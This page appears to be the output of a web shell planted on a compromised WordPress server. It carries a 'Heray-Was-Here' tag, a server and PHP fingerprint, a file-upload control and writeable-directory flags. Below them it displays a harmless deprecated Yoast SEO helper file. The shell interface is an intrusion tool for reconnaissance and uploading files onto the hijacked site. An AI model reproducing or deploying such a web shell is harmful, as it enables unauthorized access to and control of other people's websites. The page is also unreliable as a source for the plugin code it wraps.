Heray-Was-Here
Server : Apache/2.4.52 (Debian)
System : Linux 1b21ca041b67 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : www-data ( 33)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /var/www/html/wp-content/plugins/wordpress-seo/src/deprecated/src/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wp-content/plugins/wordpress-seo/src/deprecated/src/helpers/request-helper.php
<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for the request state.
 *
 * @deprecated 23.6
 * @codeCoverageIgnore Because of deprecation.
 */
class Request_Helper {

	/**
	 * Checks if the current request is a REST request.
	 *
	 * @deprecated 23.6
	 * @codeCoverageIgnore
	 *
	 * @return bool True when the current request is a REST request.
	 */
	public function is_rest_request() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.6', 'wp_is_serving_rest_request' );

		return \defined( 'REST_REQUEST' ) && \REST_REQUEST === true;
	}
}

Hry